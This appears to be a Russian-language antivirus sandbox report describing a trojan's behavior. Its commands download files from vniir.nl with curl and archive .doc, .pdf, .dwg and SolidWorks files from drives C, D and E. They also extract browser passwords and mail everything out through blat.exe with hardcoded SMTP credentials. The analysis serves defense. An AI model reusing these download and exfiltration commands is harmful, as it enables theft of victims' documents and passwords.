Техническая информация
Вредоносные функции
Запускает большое число процессов
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\$inst\2.tmp
- %TEMP%\$inst\temp_0.tmp
- %APPDATA%\windows\curl.exe
- %APPDATA%\windows\find.cmd
- %APPDATA%\windows\driver.exe
- %APPDATA%\windows\pas.rar
- %APPDATA%\windows\blat.exe
- %APPDATA%\windows\wbpv.exe
Удаляет следующие файлы
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- %APPDATA%\windows\wbpv.exe
Сетевая активность
Подключается к
- 'vn##r.nl':80
TCP
Запросы HTTP GET
- http://vn##r.nl/file/driver.exe
- http://vn##r.nl/file/pas.rar
UDP
- DNS ASK vn##r.nl
Другое
Создает и запускает на исполнение
- '%APPDATA%\windows\curl.exe' -o %APPDATA%\Windows\driver.exe vniir.nl/file/driver.exe
- '%APPDATA%\windows\curl.exe' -o %APPDATA%\Windows\pas.rar vniir.nl/file/pas.rar
- '%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar blat.exe %APPDATA%\Windows\find.cmd /y
- '%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar wbpv.exe %APPDATA%\Windows\find.cmd /y
- '%APPDATA%\windows\blat.exe' -to in@vniir.nl -f "PASS<sent@vniir.nl>" -server mail.vniir.nl -port 587 -u sent@vniir.nl -pw 6DSjyEDwzQwKnp4G3PG3 -subject "Document dwbplvnegg/user" -body "Document dwbplvnegg/user" -attach...
- '%APPDATA%\windows\driver.exe' a -r -ep -hplimpid2903392 %APPDATA%\Windows\doc-c.rar C:\*.doc /y
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\wbpv.exe /stext "%APPDATA%\Windows\password.txt"
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\doc-e.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "DOC-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\doc-e.rar E:\*.doc /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\cdw-d.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "cdw-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\cdw-d.rar D:\*.cdw /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\dwg-d.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\pdf-d.rar D:\*.pdf /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "dwg-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\m3d-d.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "m3d-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\m3d-d.rar D:\*.m3d /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\SLDPRT-d.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "SLDPRT-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user"... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\SLDPRT-d.rar D:\*.SLDPRT /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\pdf-d.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\dwg-d.rar D:\*.dwg /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "PDF-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\docx-e.rar E:\*.docx /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "m3d-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\curl.exe (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\cdw-e.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "cdw-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\cdw-e.rar E:\*.cdw /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\dwg-e.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "dwg-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\dwg-e.rar E:\*.dwg /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\docx-e.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "DOCX-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\m3d-e.rar E:\*.m3d /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\SLDPRT-e.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "SLDPRT-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user"... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\SLDPRT-e.rar E:\*.SLDPRT /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\pdf-e.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "PDF-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\docx-e.rar E:\*.pdf /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\m3d-e.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\docx-d.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "DOCX-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\docx-d.rar D:\*.docx /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "DOC-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\doc-c.rar C:\*.doc /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\wbpv.exe (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\password.txt (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "PASS<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -bo... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar wbpv.exe %APPDATA%\Windows\find.cmd /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\docx-c.rar C:\*.docx /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar blat.exe %APPDATA%\Windows\find.cmd /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\curl.exe -o %APPDATA%\Windows\pas.rar vniir.nl/file/pas.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set mail-in=in@vniir.nl (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set smtp=mail.vniir.nl (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set pass-out=6DSjyEDwzQwKnp4G3PG3 (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set mail-out=sent@vniir.nl (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\curl.exe -o %APPDATA%\Windows\driver.exe vniir.nl/file/driver.exe (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>%APPDATA%\Windows\find.cmd cd %APPDATA%\Windows\ (со скрытым окном)
- '%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\Windows (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "DOCX-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" ... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\doc-c.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\docx-c.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\doc-d.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\dwg-c.rar C:\*.dwg /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "DOC-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\doc-d.rar D:\*.doc /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\cdw-c.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "cdw-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\cdw-c.rar C:\*.cdw /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\dwg-c.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "dwg-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\m3d-c.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\pdf-c.rar C:\*.pdf /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "m3d-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\m3d-c.rar C:\*.m3d /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\SLDPRT-c.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "SLDPRT-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user"... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -ep -hplimpid2903392 %APPDATA%\Windows\SLDPRT-c.rar C:\*.SLDPRT /y (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\pdf-c.rar (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "PDF-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document dwbplvnegg/user" -b... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd bat1.bat (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\Windows\find.cmd" " (со скрытым окном)
